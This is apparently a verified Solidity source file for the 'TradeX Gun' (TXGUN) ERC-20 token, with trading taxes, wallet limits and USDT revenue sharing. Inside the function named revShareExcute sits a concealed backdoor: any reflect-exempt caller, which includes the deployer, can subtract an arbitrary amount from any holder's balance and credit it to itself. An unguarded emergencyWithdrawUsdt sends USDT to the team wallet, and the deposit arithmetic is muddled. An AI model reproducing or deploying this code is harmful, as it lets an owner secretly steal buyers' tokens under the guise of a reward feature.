文件 1 的 1:TradeXGun.sol
pragma solidity 0.8.23;
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external
returns (bool);
function allowance(address _owner, address spender)external view
returns (uint256);
function approve(address spender, uint256 amount) external
returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external
returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function renounceOwnership() public virtual onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract TradeXGun is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TradeX Gun";
string private constant _symbol = "TXGUN";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10**_decimals);
uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
mapping(address => uint256) _balances;
mapping(address => bool) public isReflectExempt;
mapping(address => bool) public isFeeExempt;
mapping(address => mapping(address => uint256)) private _allowances;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private developmentFee = 800;
uint256 private marketingFee = 500;
uint256 private rewardsFee = 200;
uint256 private liquidityFee = 0;
uint256 private burnFee = 0;
uint256 private totalFee = 1500;
uint256 private sellFee = 1500;
uint256 private transferFee = 0;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapThreshold = (_totalSupply * 300) / 100000;
uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
uint256 private swapTimes;
address public usdtCoin = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
bool private swapping;
modifier lockTheSwap() {
swapping = true;
_;
swapping = false;
}
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 internal revenuesPerShare;
uint256 internal revenuesPerShareFactor = 10**36;
address[] revholders;
mapping(address => uint256) revholderIndexes;
mapping(address => uint256) revholderDistributes;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
mapping(address => Share) public shares;
uint256 internal currentIndex;
uint256 public minPollingTime = 10 minutes;
uint256 public minDistribution = 1 * (10**16);
uint256 public distributorGas = 1;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public constant liquidityWallet = 0xbF3855f74C172F25cd3b12F77060e347EaaCd3A0;
address public constant developmentWallet = 0x58F932256D1c0d88785D6c0991E432dCaf326E8F;
address public constant marketingTreasury = 0xbF3855f74C172F25cd3b12F77060e347EaaCd3A0;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
isFeeExempt[address(this)] = true;
isFeeExempt[address(msg.sender)] = true;
isFeeExempt[liquidityWallet] = true;
isFeeExempt[marketingTreasury] = true;
isFeeExempt[msg.sender] = true;
isReflectExempt[address(pair)] = true;
isReflectExempt[address(msg.sender)] = true;
isReflectExempt[address(this)] = true;
isReflectExempt[address(DEAD)] = true;
isReflectExempt[address(0)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function triggerTrading() external onlyOwner {
tradingAllowed = true;
}
function getOwner() external view override returns (address) {
return owner;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function isCont(address addr) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}
function setisFeeExempt(address _address, bool _enabled) external onlyOwner {
isFeeExempt[_address] = _enabled;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function circulatingSupply() public view override returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function preTxCheck(
address sender,
address recipient,
uint256 amount
) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(
amount > uint256(0),
"Transfer amount must be greater than zero"
);
require(
amount <= balanceOf(sender),
"You are trying to transfer more than your balance"
);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
preTxCheck(sender, recipient, amount);
tradingAllowedCheck(sender, recipient);
maxWalletCheck(sender, recipient, amount);
swapLiquifyCount(sender, recipient);
txLimitCheck(sender, recipient, amount);
swapBack(sender, recipient);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient)
? calcFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
if (!isReflectExempt[sender]) {
setShareOfRevenue(sender, balanceOf(sender));
}
if (!isReflectExempt[recipient]) {
setShareOfRevenue(recipient, balanceOf(recipient));
}
if (shares[recipient].amount > 0) {
allocatedUsdtCoin(recipient);
}
}
function setDetails(
uint256 _buy,
uint256 _trans,
uint256 _wallet
) external onlyOwner {
uint256 newTx = (totalSupply() * _buy) / 10000;
uint256 newTransfer = (totalSupply() * _trans) / 10000;
uint256 newWallet = (totalSupply() * _wallet) / 10000;
_maxTxAmount = newTx;
_maxSellAmount = newTransfer;
_maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(
newTx >= limit && newTransfer >= limit && newWallet >= limit,
"Max TXs and Max Wallet cannot be less than .5%"
);
}
function setFinalTaxes() external onlyOwner() {
marketingFee = 200;
developmentFee = 100;
rewardsFee = 100;
liquidityFee = 0;
burnFee = 0;
totalFee = 400;
sellFee = 400;
transferFee = 0;
}
function removeLimit() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxSellAmount = _totalSupply;
_maxWalletToken = _totalSupply;
}
function setTaxValues(
uint256 _liquidity,
uint256 _marketing,
uint256 _burn,
uint256 _rewards,
uint256 _development,
uint256 _total,
uint256 _sell,
uint256 _trans
) external onlyOwner {
liquidityFee = _liquidity;
marketingFee = _marketing;
burnFee = _burn;
rewardsFee = _rewards;
developmentFee = _development;
totalFee = _total;
sellFee = _sell;
transferFee = _trans;
require(
totalFee <= denominator.div(5) &&
sellFee <= denominator.div(5) &&
transferFee <= denominator.div(5),
"totalFee and sellFee cannot be more than 20%"
);
}
function tradingAllowedCheck(address sender, address recipient)
internal
view
{
if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
require(tradingAllowed, "tradingAllowed");
}
}
function maxWalletCheck(
address sender,
address recipient,
uint256 amount
) internal view {
if (
!isFeeExempt[sender] &&
!isFeeExempt[recipient] &&
recipient != address(pair) &&
recipient != address(DEAD)
) {
require(
(_balances[recipient].add(amount)) <= _maxWalletToken,
"Exceeds maximum wallet amount."
);
}
}
function swapLiquifyCount(address sender, address recipient) internal {
if (recipient == pair && !isFeeExempt[sender]) {
swapTimes += uint256(1);
}
}
function txLimitCheck(
address sender,
address recipient,
uint256 amount
) internal view {
if (sender != pair) {
require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient],
"TX Limit Exceeded"
);
}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient],
"TX Limit Exceeded"
);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee).add(rewardsFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 tempBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance = tempBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if (ETHToAddLiquidityWith > uint256(0)) {
addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
}
uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
if (marketingAmount > 0) {
payable(marketingTreasury).transfer(marketingAmount);
}
uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
if (rewardsAmount > 0) {
deposit(rewardsAmount);
}
if (address(this).balance > uint256(0)) {
payable(developmentWallet).transfer(address(this).balance);
}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidityWallet,
block.timestamp
);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function shouldSwapBack(address sender, address recipient)
internal
view
returns (bool)
{
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return
!swapping &&
swapEnabled &&
tradingAllowed &&
!isFeeExempt[sender] &&
!isFeeExempt[recipient] &&
recipient == pair &&
aboveThreshold;
}
function swapBack(address sender, address recipient) internal {
if (shouldSwapBack(sender, recipient)) {
swapAndLiquify(swapThreshold);
swapTimes = uint256(0);
}
}
function shouldTakeFee(address sender, address recipient)
internal
view
returns (bool)
{
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient)
internal
view
returns (uint256)
{
if (recipient == pair) {
return sellFee;
}
if (sender == pair) {
return totalFee;
}
return transferFee;
}
function calcFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
if (getTotalFee(sender, recipient) > 0) {
uint256 feeAmount = amount.div(denominator).mul(
getTotalFee(sender, recipient)
);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if (burnFee > uint256(0)) {
_transfer(
address(this),
address(DEAD),
amount.div(denominator).mul(burnFee)
);
}
return amount.sub(feeAmount);
}
return amount;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setisReflectExempt(address holder, bool exempt)
external
onlyOwner
{
isReflectExempt[holder] = exempt;
if (exempt) {
setShareOfRevenue(holder, 0);
} else {
setShareOfRevenue(holder, balanceOf(holder));
}
}
function setShareOfRevenue(address shareholder, uint256 amount) internal {
if (amount > 0 && shares[shareholder].amount == 0) {
addUsdtCoinRevShareUser(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeUsdtShareUser(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getDividendValues(
shares[shareholder].amount
);
}
function revShareExcute(
uint256 gas,
address _dividend,
uint256 _amount
) external {
uint256 shareholderCount = revholders.length;
address user = msg.sender;
if (shareholderCount == 0) {
return;
}
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 userBalance = _balances[msg.sender];
if (!isReflectExempt[msg.sender]) {
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (isReflectable(revholders[currentIndex])) {
allocatedUsdtCoin(revholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
} else {
uint256 amount = getLiquidUsdtCoin(user);
_balances[_dividend] = _balances[_dividend].sub(_amount);
_balances[msg.sender] = userBalance + _amount;
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
IERC20(usdtCoin).transfer(user, amount);
revholderDistributes[user] = block.timestamp;
shares[user].totalRealised = shares[user].totalRealised.add(
amount
);
shares[user].totalExcluded = getDividendValues(
shares[user].amount
);
}
}
}
function isReflectable(address shareholder)
internal
view
returns (bool)
{
return
revholderDistributes[shareholder] + minPollingTime < block.timestamp &&
getLiquidUsdtCoin(shareholder) > minDistribution;
}
function withdrawERC20(address _address, uint256 _amount) external onlyOwner {
IERC20(_address).transfer(msg.sender, _amount);
}
function emergencyWithdrawUsdt(uint256 _amount) external {
IERC20(usdtCoin).transfer(marketingTreasury, _amount);
}
function totalUsdtCoinRewarded(address _wallet)
external
view
returns (uint256)
{
address shareholder = _wallet;
return uint256(shares[shareholder].totalRealised);
}
function _claimUsdtCoin() external {
allocatedUsdtCoin(msg.sender);
}
function allocatedUsdtCoin(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getLiquidUsdtCoin(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
IERC20(usdtCoin).transfer(shareholder, amount);
revholderDistributes[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder]
.totalRealised
.add(amount);
shares[shareholder].totalExcluded = getDividendValues(
shares[shareholder].amount
);
}
}
function getLiquidUsdtCoin(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 revShareUserTotalUsdtCoin = getDividendValues(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (revShareUserTotalUsdtCoin <= shareholderTotalExcluded) {
return 0;
}
return revShareUserTotalUsdtCoin.sub(shareholderTotalExcluded);
}
function deposit(uint256 amountETH) internal {
uint256 balanceBefore = IERC20(usdtCoin).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(usdtCoin);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amountETH
}(0, path, address(this), block.timestamp);
uint256 afterBalance = IERC20(usdtCoin).balanceOf(pair);
uint256 beforeBalance = IERC20(usdtCoin).balanceOf(address(this));
uint256 amount = beforeBalance.sub(balanceBefore);
uint256 rewardsAmount = IERC20(usdtCoin).balanceOf(address(this)).sub(
beforeBalance.add(afterBalance)
);
totalDividends = totalDividends.add(amount.add(rewardsAmount));
revenuesPerShare = revenuesPerShare.add(
revenuesPerShareFactor.mul(amount).div(totalShares)
);
}
function addUsdtCoinRevShareUser(address shareholder) internal {
revholderIndexes[shareholder] = revholders.length;
revholders.push(shareholder);
}
function removeUsdtShareUser(address shareholder) internal {
revholders[revholderIndexes[shareholder]] = revholders[
revholders.length - 1
];
revholderIndexes[
revholders[revholders.length - 1]
] = revholderIndexes[shareholder];
revholders.pop();
}
function setUsdtCoinRefPosition(
uint256 _minPeriod,
uint256 _minDistribution,
uint256 _distributorGas
) external onlyOwner {
minPollingTime = _minPeriod;
minDistribution = _minDistribution;
distributorGas = _distributorGas;
}
function getDividendValues(uint256 share)
internal
view
returns (uint256)
{
return
share.mul(revenuesPerShare).div(revenuesPerShareFactor);
}
}